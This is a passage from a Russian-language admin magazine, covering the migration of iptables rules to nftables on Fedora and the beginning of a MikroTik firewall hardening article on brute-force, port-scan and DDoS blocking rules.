‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 53   ‐j ACCEPT ‐m 
comment ‐‐comment "DNS zone transfer"
‐A INPUT ‐p udp ‐‐dport 53   ‐j ACCEPT ‐m comment ‐‐comment "DNS 
queries"

# HTTP
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 80   ‐j ACCEPT ‐m 
comment ‐‐comment "HTTP"
‐A INPUT ‐m state ‐‐state NEW ‐m tcp ‐p tcp ‐‐dport 443  ‐j ACCEPT ‐m 
comment ‐‐comment "HTTPS"

# ICMP
‐A INPUT ‐p icmp ‐j ACCEPT

# Local traffic
‐A INPUT ‐i lo ‐j ACCEPT

# Default actions
‐A INPUT ‐j REJECT ‐‐reject‐with icmp‐host‐prohibited
‐A FORWARD ‐j REJECT ‐‐reject‐with icmp‐host‐prohibited
COMMIT

Кро ме них, есть /etc/sysconfig/ip6tables, который отлич  ает ся трем  я пра‐ 
вилам  и.

# ICMP
‐A INPUT ‐p ipv6‐icmp ‐j ACCEPT

# Default actions
‐A INPUT ‐j REJECT ‐‐reject‐with icmp6‐adm‐prohibited
‐A FORWARD ‐j REJECT ‐‐reject‐with icmp6‐adm‐prohibited

Те перь конв  ертир  уем этот конф  иг в синт  аксис nftables. Пиши:

$ sudo iptables‐restore‐translate ‐f /etc/sysconfig/iptables 

Рез  уль тат будет сле дующим.

add table ip filter
add chain ip filter INPUT { type filter hook input priority 0; policy 
accept; } 
add chain ip filter FORWARD { type filter hook forward priority 0; 
policy accept; } 
add chain ip filter OUTPUT { type filter hook output priority 0; 
policy accept; } 
add rule ip filter INPUT ct state related,established  counter accept
add rule ip filter INPUT ct state new  tcp dport 22 counter accept 
comment "SSH"
add rule ip filter INPUT ct state new  tcp dport 25 counter accept 
comment "SMTP"
add rule ip filter INPUT ct state new  tcp dport 465 counter accept 
comment "SMTPS (SSL/TLS)"
add rule ip filter INPUT ct state new  tcp dport 587 counter accept 
comment "SMTP StartTLS"
add rule ip filter INPUT ct state new  tcp dport 993 counter accept 
comment "IMAPS"
add rule ip filter INPUT ct state new  tcp dport 995 counter accept 
comment "POP3S"
add rule ip filter INPUT ct state new  tcp dport 53 counter accept 
comment "DNS zone transfer"
add rule ip filter INPUT udp dport 53 counter accept comment "DNS 
queries"
add rule ip filter INPUT ct state new  tcp dport 80 counter accept 
comment "HTTP"
add rule ip filter INPUT ct state new  tcp dport 443 counter accept 
comment "HTTPS"
add rule ip filter INPUT ip protocol icmp counter accept
add rule ip filter INPUT iifname "lo" counter accept
add rule ip filter INPUT counter reject with icmp type host‐
prohibited
add rule ip filter FORWARD counter reject with icmp type host‐
prohibited

Клю чевое сло во ct — это, конечн  о же, ConnTrack — механизм отслеж  ива ния
сос тояния соеди нений в ядре Linux. Опция counter отсутст  во вала в исходных
прав  илах iptables. Прост  о nftables не вклю чает счет чики пра вил по умолч  анию,
и, если они тебе важ ны, нуж но вклю чить их этой опци ей.

Су щест  венн  ый  недос таток  синт  акси са  в  стил  е  pf  —  он  име ет  свойс  тво
превр  ащать ся  в  пло хо  чита емую  стен  у  тек ста.  К  счастью,  такой  син таксис
обяз  ател  ен  тольк  о  для  команд  ы  nft.  Для  скрип тов,  которые  заг ружаю  тся
с  помощью  nft  ‐f,  nftables  под держи вает  более  читае  мый  синт  аксис
с  фигур ными  скобк  ами  и  возм  ожностью  писать  нес кольк  о  опций  в  одной
стро ке через точ ку с запятой.

Сам  ый прост  ой спо соб кон верти ровать этот син таксис в вари ант со скоб‐ 
ками  —  сох ранить  эти  пра вила  в  файл  (нап ример,  /tmp/rules.nft),  при‐ 
менить  их  с  помощью  nft  ‐f  /tmp/rules.nft  и  просм  отреть  их  коман дой
nft list ruleset.

Ко манд  а nft list ruleset может заменить и iptables ‐L ‐nv, и ipta‐
bles‐save.  Кро ме  того,  она  подд  ержив  ает  вывод  прав  ил  в  JSON  вмес те
со  знач  ени ями  счет чиков  с  помощью  опции  ‐j/‐‐json  —  меч та  авто ров
фронт  ендов для наст  рой ки.

Мож но  было  бы  прост  о  сох ранить  кон вертир  ованн  ые  прав  ила  в  один
из файл  ов в /etc/nftables/ и огра ничитьс  я этим, но мож но и нем ного реор‐ 
ганизо вать конф  иг с помощью новых фич nftables.

Куда поместить новые конфиги
В  iptables  не  сущес тву ет  спос  обов  раз делить  кон фиг  на  час ти,  из‐за  чего
мно гие  люди  и  генери руют  кон фиги  скрипт  ами.  Друг  ое  дело  nftables  —  там
есть опция include.

В  Fedora  есть  файл  /etc/sysconfig/nftables.conf,  который  читае  т
скрипт  сер виса  nftables.  Этот  файл  сос тоит  из  одних  опций  include,  а  в 
/etc/nftables/ лежит набор загото вок конф  игов. Мы помест  им наши новые
прав  ила в файл inet‐filter.nft.

Пе ред  этим  нужн  о  раск  оммент  ировать  в  файл  е  /etc/sysconfig/nfta‐
bles.conf стро ку include "/etc/nftables/inet‐filter.nft".

В  фай ле  из  пос тавки  дист  риб  утив  а  для  нас  опред  елен  а  табл  ица  inet 
filter  с  цепоч ками,  которые  пов торяю  т  смысл  табл  ицы  filter  в  iptables
по умол чанию.

/etc/nftables/inet-filter.nft

#!/usr/sbin/nft ‐f

table inet filter {
 chain input    { type filter hook input priority 0; }
 chain forward  { type filter hook forward priority 0; }
 chain output   { type filter hook output priority 0; }

}

Здесь  filter  —  про извольн  ое  наз вание  табл  ицы,  а  ключ  евое  сло во  inet  —  ее
тип.  Если  типы  ip  и  ip6  огран  ичив  ают  табл  ицу  прав  ила ми
для  IPv4  и  IPv6  соот ветст  вен но,  то  тип  inet  поз воляе  т  писать  прав  ила
для  обо их  про токо лов.  Если  все  сер висы  дос тупны  по  обои  м  про токо лам,
таким спо собом можн  о избе жать дубл  ирован  ия прав  ил почт  и пол ностью.

Наз вания  chain  input  и  про чие  тоже  чис то  информа цион ные,  наз‐ 
начение  цепочк  и  опред  еляе  т  опция  type,  вро де  type  filter  hook  input.
Соот ветст  вен но, если бы у нас был NAT, нам нужн  а была бы таб лица с опци ей
type nat hook prerouting вмес то прав  ил вида iptables ‐t nat ‐I PRE‐
ROUTING и так далее по ана логии.

Добавляем правила
Пос коль ку нас интер  есу ет фильт  ра ция вхо дяще го тра фика, свои прав  ила мы
будем  дописы вать  внутрь  chain input.  По  сути,  копируе  м  из  вывода  ipta‐
bles‐restore‐translate  все  пос ле  add  rule  ip  filter  INPUT  и  встав‐ 
ляем внутрь chain input.

В  сво их  ста рых  наст  рой ках  я  использ  овал  по  одном  у  прав  илу  на  кажд  ый
порт TCP или UDP. В iptables есть опция ‐‐dports, но в nftables все еще про‐ 
ще:  мож но  писать  порт  ы  в  фигурн  ых  скоб ках  через  запятую.  Этим  мы  и  вос‐ 
поль зуем ся и объе  ди ним все прав  ила для кажд  ого серв  иса в одно, нап ример
dport {80, 443} для HTTP(S).

По лучит ся что‐то вро де такого:

table inet filter {
 chain input {
   type filter hook input priority 0 

   ct state related,established accept 

   # Services
   ct state new tcp dport ssh counter accept 

   ct state new tcp dport {25, 465, 587} counter accept comment SMTP 
   ct state new tcp dport {993, 995} counter accept comment "IMAPS 
and POP3S"

   ct state new tcp dport {80, 443} counter accept comment "HTTP"

   udp dport 53 counter accept comment "DNS queries"

   ct state new tcp dport 53 counter accept comment "DNS zone 
transfers"

   # ICMP
   ip protocol icmp accept 
   meta l4proto ipv6‐icmp accept 

   # Loopback
   iifname lo accept 

   # Reject everything else
   meta nfproto ipv4 reject with icmp type admin‐prohibited 
   meta nfproto ipv6 reject with icmpv6 type admin‐prohibited 
 }

 chain forward {
   type filter hook forward priority filter; policy accept;
   meta nfproto ipv4 reject with icmp type admin‐prohibited 
   meta nfproto ipv6 reject with icmpv6 type admin‐prohibited 
 }

 chain output { type filter hook output priority 0; }
}

Те перь оста лось запус тить сер вис nftables и пос тавить его на загр  узку:

$ sudo systemctl start nftables 
$ sudo systemctl enable nftables 

Ес ли работа ешь на удал  ен ной машине без дост  упа к конс  оли, не забудь зап‐ 
ланиро вать  перезагр  узку  (shutdown  ‐r  +10)  или  сброс  прав  ил  (echo  "nft 
flush ruleset | at now+10min").

Создаем группы адресов
Прав  ило  про  tcp  dport  53  раз решае  т  реп ликацию  зон  DNS  на  втор  ичн  ые
сер веры. Если обыч ные запр  осы DNS выпол няют ся через UDP, то реп ликация
зон — через TCP.

Ко нечн  о,  реп ликация  дос тупна  не  всем  под ряд,  а  впол не  опре деленн  ым
хост  ам,  в  моем  случ  ае  это  втор  ичн  ые  сер веры  Hurricane  Electric:
216.218.133.2  и  2001:470:600::2.  До  мигр  ации  это  огран  ичен  ие  было  про‐ 
писа но  в  наст  рой ках  самого  BIND,  но  мы  добавим  его  и  в  пра вила  nftables,
что бы пос мотреть на син таксис перемен ных и групп.

Пер  еменн  ые  опред  еля ются  с  помощью  клю чево го  сло ва  define,  нап‐ 
ример  define  foo  =  192.0.2.1.  На  них  можн  о  ссыл  ать ся  в  стил  е  shell
с помощью $foo. Объя  влен  ия перемен ных мы помест  им в самое начало фай‐ 
ла.

За тем  мы  созд  адим  две  групп  ы,  одну  для  IPv4,  дру гую  для  IPv6.  Увы,
исполь зовать оба типа адре сов в одной груп пе не вый дет, но зато про верк  а
нахож дения адре са в групп  е в nftables выпол няет ся за врем  я O(1).

Групп  ы опре деляю  тся с помощью клю чево го сло ва set, и в них нуж но ука‐ 
зать  тип.  Когд  а  они  опред  еле ны,  в  опция  х  пра вил  на  них  можн  о  ссыл  атьс  я
с помощью @setname.

С переменн  ыми и групп  ами наш кон фиг прим  ет сле дующий вид:

#!/usr/sbin/nft ‐f

define he_dns_ipv4 = 216.218.133.2 
define he_dns_ipv6 = 2001:470:600::2 

table inet filter {
 set secondary_dns_ipv4 {
   type ipv4_addr;
   elements = { $he_dns_ipv4 }
 }

 set secondary_dns_ipv6 {
   type ipv6_addr;
   elements = { $he_dns_ipv6 }
 }

 chain input {
   ... 
   udp dport 53 counter accept comment "DNS queries"

   ct state new tcp dport 53 ip saddr @secondary_dns_ipv4 counter 
accept comment "DNS zone transfers"

   ct state new tcp dport 53 ip6 saddr @secondary_dns_ipv6 counter 
accept comment "DNS zone transfers"

 ... 

ЗАКЛЮЧЕНИЕ
На  мой  взгляд,  син таксис  nftables  и  ее  под ход  к  работе  с  конф  игами  —
это  знач  итель ный  прогр  есс  по  сравн  ению  с  iptables  и  рас став  ать ся  со  ста‐ 
рыми инст  ру мент  ами мож но без сожале ния.

АДМИН

СТЕНА
ОГНЯ

LVL2НАСТРАИВАЕМ ФАЙРВОЛ
ДЛЯ ОТРАЖЕНИЯ АТАК
НА ПРИМЕРЕ MIKROTIK

Дмитрий Бубнов
Тренер MikroTik. Автор

канала
https://t.me/mikrotikninja

[email protected]

В этой статье мы расс  мот рим, как защищать роутер MikroTik
от атак и скан  еров порт  ов, а так же пре дотв  рат  им попада ние
нашей  сети  в  бан‐лист  ы.  Полученн  ый  опыт  поможет  тебе
наст  раи  вать и дру гие виды файр  во лов.

INFO

Общ  ие  прин ципы  безопасн  ой  нас трой ки  роутер  а
и прин ципы оптим  альн  ой нас трой ки файр  вол  а ты
можешь узнать в пред  ыду щих статья  х.

УНИФИКАЦИЯ НАСТРОЕК
Есл  и у тебя больш  ая сеть с нес коль кими фили алам  и и в кажд  ом из них по два
роутер  а  для  отка зоус тойч  ивост  и,  то  пра вила  лучш  е  нас тро ить  так,  что бы  их
можн  о  было  легк  о  раз вернуть  на  любой  железк  е,  независ  имо  от  количест  ва
и име нован  ия порт  ов или типа под клю чения. Для соеди нения по PPPoE, нап‐ 
ример,  WAN‐интерфейс  ом  будет  pppoe‐out1,  а  для  DHCP  —  ether1.  Если
попытать ся  экспорт  ировать  конф  иг  фай рво ла  с  одног  о  роуте ра  на  друг  ой,
ничего не выйд  ет, потому что у вто рого прос то нет интерфейс  а pppoe‐out1.
Или  пред ставь  себе,  что  в  одном  фили але  локальн  ая  сеть  висит  на  ether9,
а в друг  ом сто ит роутер с пятью порт  ами, из‐за чего конф  игура ция девято го
порт  а прос то не встан  ет и вылетит с ошиб кой.

По это му  мы  будем  наст  ра ивать  роутер  так,  чтоб  ы  кон фиг  мож но  было
без проб лем перенест  и на любой друг  ой роутер. Это нем ного усложнит пер‐ 
воначальн  ую наст  ройк  у, но сэконом  ит кучу вре мени в будущем.

Мы уже расс  мат ривали спис ки интерфей сов. Это фича для опер  иров  ания
неск  ольк  ими интерфей сами как одним. Соз дадим лист  ы WAN и LAN, а затем
добавим  туда  нужн  ые  интерфейс  ы.  Теперь  пра вила  файр  во ла  будем  при‐ 
вязы вать к интерфейс‐лист  ам, а не к отдельн  ым интерфей сам. Перед экспор‐ 
том пра вил на друг  ой роутер прос то соз дадим на нем нуж ные лист  ы, и кон фиг
вста нет без оши бок.

Interface List

Об рати  вним  ание,  что  для  использ  ования  в  файр  во ле  нам  нужн  ы  L3‐
интерфейс  ы,  то  есть  те,  на  которых  есть  IP‐адре са.  Если  ты  получае  шь
интернет по PPPoE, то в WAN‐лист надо добавить имен но его. Если IP локаль‐ 
ной сети про писан на брид же или VLAN'е, то и в лист LAN нуж но добавить их,
а  не  физическ  ие  интерфейс  ы.  Если  вклю чить  в  спис  ок  и  логичес кий,
и  физичес кий  интерфейс,  ничего  страшн  ого  про изойт  и  не  долж  но,  но  это
нужн  о будет учи тывать в кон фигура ции.

Но это еще не все. Понят но, что в кажд  ом филиа  ле у нас будет своя под‐ 
сеть LAN: где‐то 192.168.10.0/24, где‐то 192.168.11.0/24. Чтоб  ы не путать ся
с  этим  и  зна чения  ми  и  не  менять  кон фиг  при  перенос  е  с  одно го  роутер  а
на  дру гой,  опер  иро вать  будем  не  адрес  ами  и  подс  етями,  а  списк  ами  адре‐ 
сов.  На  кажд  ом  роуте ре  соз даем  спи сок  LAN  и  даль ше  работае  м  толь ко
с ним.

В  прошл  ый  раз  мы  созд  авали  адрес‐лист  MGMT,  в  котором  открыв  али
дос туп к управлен  ию роутер  ом толь ко с опред  елен ных адре сов. А еще рань‐ 
ше  расс  матр  ивали  решение  Port  Knocking,  которое  пре дост  авля ет  дос туп
к управле нию, тольк  о если со стор  оны клие  нта выполн  ить секр  етные манипу‐ 
ляции.  Для  дост  упа  к  роуте ру  из  доверен ной  сети  (LAN)  впол не  под ходит
вари ант  с  адрес‐лис том,  а  для  дос тупа  сна ружи  —  Port  Knocking.  Было  бы
хорошо  совм  естить  эти  вари анты  в  нашей  кон фигура ции.  Еще  будет  удоб но
раз делить  цепочк  у  input  на  две  час ти:  input  со  стор  оны  интернет  а  и  input
со  сто роны  локал ки.  Тогд  а  мож но  при менять  разн  ые  полити ки  филь тра ции
к разн  ым сегм  ентам сети. В этом нам помогут поль зователь ские цепочк  и.

Все, что приш ло снар  ужи, перекид  ывае  м в новую цепочк  у WAN_INPUT. Все,
что изнутри, — в LAN_INPUT:

/ip firewall filter 
add action=jump chain=input in‐interface‐list=WAN jump‐target=WAN_IN‐
PUT 
add action=jump chain=input in‐interface‐list=LAN jump‐target=LAN_IN‐
PUT 

Теп  ерь политик  и фильт  ра ции будут раз ными для разн  ого источни ка тра фика.
Для внеш него траф  ика будем использ  овать цепоч ку WAN_INPUT и более жес‐ 
ткие огран  иче ния, для внут реннег  о — LAN_INPUT и пра вила попр  още. Цепоч‐ 
ка input нам больш  е не нуж на, теперь мы все будем делать в новых цепочк  ах.
При чем  ука зывать  интерфей сы  или  спис ки  интерфейс  ов  в  прав  илах  больш  е
не  понадо бит ся.  Одна ко  этот  под ход  может  исполь зоватьс  я  в  сложн  ых
решения  х,  напр  имер  ког да  у  тебя  два  про вай дера  с  раз ными  политик  ами
фильт  рац  ии или локал ка поделе на на разн  ые VLAN. Но об этом поз же.

В  статье  о  безопас ной  наст  ройк  е  роуте ра  мы  нас тра ива ли  Port  Knocking
для  дост  упа  к  управле нию  роуте ром.  Огра ничи вать  таким  обра зом  дос туп
изнутри локальн  ой сети — излиш  ес тво. Поэтом  у поменяе  м в прав  илах цепоч‐ 
ку  с  input  на  WAN_INPUT.  Изнутри  сети  разр  ешим  дост  уп  к  WinBox  тольк  о
с нужн  ых адрес  ов: мы уже делали это в статье про осно вы файр  вол  а. Остав  им
в  пра виле  тольк  о  порт  WinBox  —  TCP  8291.  А  для  SSH  раз решим  под клю‐ 
чения  из  всей  нашей  сети,  но  пред  от вра тим  воз можность  брут форса  (да,
изнутри  сети  тоже  может  про изой ти  брут форс  SSH,  потому  что  отсутст  вие
тро янов в ней не гарант  ирова но).

add action=drop chain=LAN_INPUT comment="drop ssh brute forcers" src‐
address‐list=ssh_blacklist 
add action=add‐src‐to‐address‐list address‐list=ssh_blacklist ad‐
dress‐list‐timeout=1w3d chain=LAN_INPUT connection‐state=new dst‐port
=22 protocol=tcp src‐address‐list=ssh_stage3 
add action=add‐src‐to‐address‐list address‐list=ssh_stage3 address‐
list‐timeout=1m chain=LAN_INPUT connection‐state=new dst‐port=22 
protocol=tcp src‐address‐list=ssh_stage2 
add action=add‐src‐to‐address‐list address‐list=ssh_stage2 address‐
list‐timeout=1m chain=LAN_INPUT connection‐state=new dst‐port=22 
protocol=tcp src‐address‐list=ssh_stage1 
add action=add‐src‐to‐address‐list address‐list=ssh_stage1 address‐
list‐timeout=1m chain=LAN_INPUT connection‐state=new dst‐port=22 
protocol=tcp src‐address‐list=!ssh_open 
add action=accept chain=LAN_INPUT dst‐port=22 protocol=tcp 

Тут  при меняе  тся  механизм  динамич  еск  их  адрес‐лис тов  с  тайм‐аутам  и.  Мы
рас смат ривали  их  в  статье  «Защ  ищае  м  MikroTik.  Хит рости  безопас ной  нас‐ 
тройк  и роуте ра». При пер вой попыт ке под клю чения пакет обра ботае  тся пра‐ 
вилом  5,  и  адрес  хакера  попадет  в  адрес‐лист  ssh_stage1.  Вто рая  попыт ка
подк  лю чения  обра бота ется  прав  илом  4  и  добавит  брут форсе ра  в  лист
ssh_stage2.  И  так  далее  вплоть  до  лист  а  ssh_blacklist,  где  адрес  будет
хран  итьс  я  десять  дней,  а  весь  тра фик,  иду щий  с  адре сов  из  этог  о  спис ка,
будет дро пать ся.

В  прошл  ой  статье  мы  соз давали  пра вила,  раз реша ющие  конн  екты  estab‐
lished,  related  и  зап реща ющие  invalid.  Давай  про дубл  иру ем  эти  прав  ила
и перенес  ем их в новые цепочк  и, а из input уда лим. В результ  ате мы получим
четыре пра вила вмест  о двух. На про хожд  ение тра фика это не повл  ияет, зато
поз волит  видеть  ста тист  ику  по  тра фику  с  разн  ых  стор  он.  В  пра виле  с  estab‐
lished,  related  пост  авь  галоч ку  untracked.  Чуть  поз же  объя  сню,  зачем  она.
Думаю, адапт  ировать остальн  ые прав  ила под новую логику не сост  авит тру да.
В конц  е каж дой цепочк  и не забудь ука зать прав  ило дроп  а.

Дол жно получить ся при мерн  о так

Две цепоч ки позв  олят нам уменьш  ить количес тво перехо дов траф  ика по пра‐ 
вилам,  а  знач  ит,  и  нем ного  сни зить  наг рузку  на  CPU.  Счет чики  в  раз ных
цепоч ках  дадут  воз можность  увид  еть  чуть  более  деталь ную  стат  ис тику  тра‐ 
фика. Хоть прав  ил и ста ло боль ше, но они не прим  еняю  тся ко всем  у объе  му
траф  ика:  при  перв  ом  джам пе  весь  траф  ик  будет  обраб  атыв  ать ся  уже  новой
цепочк  ой  и  в  друг  ую  никог да  не  попадет.  Подоб ный  подх  од  так же  упрощ  ает
подд  ер жку за счет того, что по наз ванию цепоч ки сраз  у вид но, что это за тра‐ 
фик  и  отку да  он  идет.  Мож но  для  раз ных  типов  тра фика  созд  авать  свои
цепоч ки, напр  имер отдельн  ую цепочк  у для management‐тра фика. За возв  рат
траф  ика в родительс  кую цепочк  у отве чает action return.

ЗАЩИЩАЕМСЯ ОТ АТАК
До  сих  пор  мы  рас смат ривали  прав  ила  фай рво ла,  поз воляю  щие  обра баты‐ 
вать траф  ик по прост  ым приз накам: интерфейс  у, адрес  у, порт  у. Но файр  вол
горазд  о  более  гиб кий  инс трум  ент,  с  его  помощью  мож но  стро ить  слож ную
логику для про тиво дей ствия раз ным типам атак.

Есть  зарезерв  ированн  ые  адре са,  которые  не  исполь зуют ся  в  интерне те.
Они называ ются «богон‐адрес  ами». Отсеч  ем пакеты с таких адре сов:

/ip firewall address‐list 
add address=0.0.0.0/8 comment="Self‐Identification [RFC 3330]" list=
Bogon 
add address=10.0.0.0/8 comment="Private[RFC 1918] ‐ CLASS A" list=Bo‐
gon 
add address=127.0.0.0/16 comment="Loopback [RFC 3330]" list=Bogon 
add address=169.254.0.0/16 comment="Link Local [RFC 3330]" list=Bogon 
add address=172.16.0.0/12 comment="Private[RFC 1918] ‐ CLASS B" list=
Bogon 
add address=192.168.0.0/16 comment="Private[RFC 1918] ‐ CLASS C" list
=Bogon 
add address=192.0.2.0/24 comment="Reserved ‐ IANA ‐ TestNet1" list=
Bogon 
add address=192.88.99.0/24 comment="6to4 Relay Anycast [RFC 3068]" 
list=Bogon 
add address=198.18.0.0/15 comment="NIDB Testing" list=Bogon 
add address=198.51.100.0/24 comment="Reserved ‐ IANA ‐ TestNet2" list
=Bogon 
add address=203.0.113.0/24 comment="Reserved ‐ IANA ‐ TestNet3" list=
Bogon 
add address=224.0.0.0/4 comment="MC, Class D, IANA" list=Bogon 

Мы ожи даем пакеты тольк  о с юник  аст‐адрес  ов, поэто му запр  етим все, кро ме
них.

Drop non unicast

Port  Scan  Detect  —  фун кция,  позв  оля ющая  обна ружить  ска нер  порт  ов.
Как  она  работа ет?  Пор там  задае  тся  некий  условный  вес  —  Weight.  Прич  ем
для сист  емных порт  ов (до 1024‐го) весовой коэфф  ици ент низ кий (Low ports),
а для осталь ных — высокий (High ports). Если в течение врем  ени Delay Thresh‐
old от одно го хос та на роутер прил  етят пакеты на порт  ы, сумм  а весов которых
окаж  ет ся больш  е, чем Weight Threshold, то адрес отпра вите ля будет добав лен
в блек‐лист. В нашем при мере, если с одно го хост  а за три секунд  ы пос тупят
десять  пакетов  на  пор ты  до  1024‐го  (общий  вес  10  *  2  =  20)  и  двад цать
пакетов  на  порт  ы  выше  1024‐го  (20  *  1  =  20),  общий  их  вес  сос тавит  40.
Обрат  и  вни мание,  что  Port  Scan  Detect  работа ет  толь ко  для  TCP‐  или  UDP‐
тра фика.

За щищае  мся от скан  еров

Один  из  самых  расп  ростра нен ных  видов  атак  —  это  атак  а  на  отказ  в  обслу‐ 
жива нии, или DDoS. Защитить ся от нее сво ими силами прак тичес ки нере аль‐ 
но.  Но  с  помощью  прост  ого  пра вила  мож но  отсечь  самые  прос тые  попыт ки
ата ки. Находим хост, который насозд  авал к нам больш  е 100 сес сий, и добав‐ 
ляем  его  в  блек‐лист.  В  этом  пра виле  обя зательн  о  нуж но  использ  овать
параметр  connection‐state=new.  Но  мы  ведь  уже  разр  ешили  все  estab‐
lished,  related  и  untracked,  а  invalid  дроп нули,  поэто му  сюда  дойд  ут  толь ко
пакеты new.  Оставлять  или  нет  этот  флаж  ок  в  прав  иле  —  твое  дело.  Отмеч  у,
что  с  помощью  этой  же  фичи  мож но  выяв лять  в  сво ей  сети  торр  енток  ачаль‐ 
щиков.

Защ  ищае  мся от DDoS

ICMP — один из важ ных прот  око лов в любой сети. Мног  ие админ  ы любят бло‐ 
киро вать его, но это очень плох  ой подх  од. Имен но ICMP поз воля ет работать
трас сировк  е,  ука зывать  на  недос тупность  UDP‐порт  ов,  отправл  ять  раз ные
слу жеб ные сооб щения. И если зап ретить его полн  остью, мож но наловить кучу
багов.  У  кажд  ого  сооб щения  ICMP  свое  предн  азна чение,  и  уже  по  это му
парамет ру  нет рудно  понять,  име ет  ли  смысл  раз решить  какие‐то  типы  ICMP
изнутри сети или сна ружи. Напр  имер:
• ICMP Echo Request — наш любимый пинг, имее  т тип 8, код 0;
• ICMP Echo Reply — ответ на пинг, тип 0, код 0;
• Destination  Unreachable  —  узел  недос тупен,  тип  3  и  коды  0–15  в  зависи‐ 

мос ти от прич  ины недост  упност  и:
• 0 — сеть недост  упна;
• 1 — хост недос тупен;
• 2 — про токол недос тупен;
• 3 — порт недос тупен;
• 4 — необх  одима фраг мента ция пакета, но она зап рещена (сто ит флаг

DF — Don’t Fragment).

Ост  аль ное легк  о найт  и в интерне те, а луч ше почитать RFC 792.
Соз дадим цепоч ку ICMP и отправ  им в нее весь ICMP‐траф  ик (можн  о соз‐ 

дать две цепочк  и: для LAN и WAN — и нас трои  ть раз ные полити ки). Разр  еша‐ 
ем тольк  о нуж ные типы сообщ  ений и огран  ичи ваем обраб  от ку пятью пакета‐ 
ми в секунд  у:

/ip firewall filter 
add action=jump chain=WAN_INPUT jump‐target=ICMP protocol=icmp 
add action=jump chain=LAN_INPUT jump‐target=ICMP protocol=icmp 
add action=accept chain=ICMP comment="Allow Echo Reply (0:0‐255), 
Limit 5pps" icmp‐options=0:0‐255 limit=5,5:packet protocol=icmp 
add action=accept chain=ICMP comment="ICMP ‐ Allow Destination 
Unreachable (3:0‐255), Limit 5pps" icmp‐options=3:0‐255 limit=
5,5:packet protocol=icmp 
add action=accept chain=ICMP comment="ICMP ‐ Allow Source Quench (4:
0), Limit 5pps" icmp‐options=4:0‐255 limit=5,5:packet protocol=icmp 
add action=accept chain=ICMP comment="ICMP ‐ Allow Echo Request (8:
0), Limit 5pps" icmp‐options=8:0‐255 limit=5,5:packet protocol=icmp 
add action=accept chain=ICMP comment="ICMP ‐ Allow Time Exceeded (11:
0), Limit 5pps" icmp‐options=11:0‐255 limit=5,5:packet protocol=icmp 
add action=accept chain=ICMP comment="ICMP ‐ Allow Parameter Bar (12:
0), Limit 5pps" icmp‐options=12:0‐255 limit=5,5:packet protocol=icmp 
add action=drop chain=ICMP comment="ICMP ‐ Drop All Others" protocol=
icmp 

Прим  ер пра вила ICMP

TCP  тоже  подд  ержив  ает  кучу  фла гов,  часть  которых  не  может  содерж  ать ся
в одном пакете. Комб  инации этих фла гов част  о использ  уют ся ска нера ми пор‐ 
тов,  что бы  про бить  пло хо  наст  ро енную  защиту.  Сде лаем  отдель ную  цепоч ку
для TCP и дроп нем подобн  ые «подоз ритель ные» пакеты:

/ip firewall filter 
add action=jump chain=WAN_INPUT comment="Invalid TCP" jump‐target=in‐
valid_tcp protocol=tcp 
add action=jump chain=LAN_INPUT comment="Invalid TCP" jump‐target=in‐
valid_tcp protocol=tcp 
add action=jump chain=forward comment="Invalid TCP" jump‐target=in‐
valid_tcp protocol=tcp 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ !(FIN/SYN/
RST/ACK)" protocol=tcp tcp‐flags=!fin,!syn,!rst,!ack 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ FIN/SYN" 
protocol=tcp tcp‐flags=fin,syn 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ FIN/RST" 
protocol=tcp tcp‐flags=fin,rst 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ FIN/!ACK" 
protocol=tcp tcp‐flags=fin,!ack 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ FIN/URG" 
protocol=tcp tcp‐flags=fin,urg 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ SYN/RST" 
protocol=tcp tcp‐flags=syn,rst 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ RST/URG" 
protocol=tcp tcp‐flags=rst,urg 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ Source Port 
0" protocol=tcp src‐port=0 
add action=drop chain=invalid_tcp comment="Invalid TCP ‐ Destination 
Port 0" dst‐port=0 protocol=tcp 

Прим  ер с TCP‐флаг  ами

То же самое для UDP:

add action=drop chain=invalid_udp comment="Invalid UDP ‐ Source Port 
0" protocol=udp src‐port=0 
add action=drop chain=invalid_udp comment="Invalid UDP ‐ Destination 
Port 0" dst‐port=0 protocol=udp 

ЦЕПОЧКА FORWARD
До сих пор мы в основном смот рели на тра фик, при летевш  ий в input‐цепочк  у,
а  даль ше  по  каким‐то  приз накам  нап равля ли  его  в  раз ные  цепоч ки.  Но  весь
этот траф  ик предн  азна чал ся самому роутер  у. Цепочк  у output исполь зуют ред‐ 
ко,  но  ты  можешь  отфильт  ро вать  в  ней,  нап ример,  ICMP‐ответ  ы  от  роутер  а
или IPsec‐траф  ик. Понят но, что больш  ая часть тра фика будет попадать в for‐
ward  —  ведь  на  то  он  и  роутер,  что бы  перенап равлять  пакеты  из  одной  сети
(локал ка) в дру гую (интернет или вто рой VLAN локалк  и). И в этой цепоч ке мы
будем управлять траф  иком польз  овате лей.

Я  не  ста ну  деталь но  рас сказ  ывать  о  том,  что  надо  раз решить  или  зап‐ 
ретить, — об основных при емах наст  ройк  и и так уже написа но неск  ольк  о ста‐ 
тей  и  есть  куча  прим  еров  в  интерне те.  Расс  мот рим  более  инте рес ный  кейс:
репута цию сети.

В интернет  е есть серв  исы, содер жащие списк  и спа меров, ддо серов, рас‐ 
простран  ите лей нелегальн  ого конт  ента. Если на машины в тво ей сети попал
тро ян‐спа мер,  то  ты  тоже  окаж  ешьс  я  в  этих  спис ках.  Через  какое‐то  врем  я
пись ма от любого клие  нта изнутри сети начн  ут попадать в спам у всех получа‐ 
телей, потом ты будешь добав лен в пуб личные блек‐лист  ы и у поль зовател  ей
исчезнет дост  уп ко мно гим ресур сам. В том числ  е к сетям пар тнер  ов, админ  ы
которых  польз  уют ся  такими  спис ками,  чтоб  ы  запр  етить  дос туп  потен циаль‐ 
ным вре дите лям. Предс  тавь, что про изой дет с тво ей прем  ией, когд  а письм  о
с мно гомил лион ным конт  ракт  ом от твое  го шефа упад  ет у кон траг  ент  а в пап ку
«Спам».

Поп робуе  м  защитить  свою  прем  ию.  Для  этог  о  нужн  о  понять,  по  какому
поводу нас могут внест  и в списк  и. При чин этом  у нес коль ко:
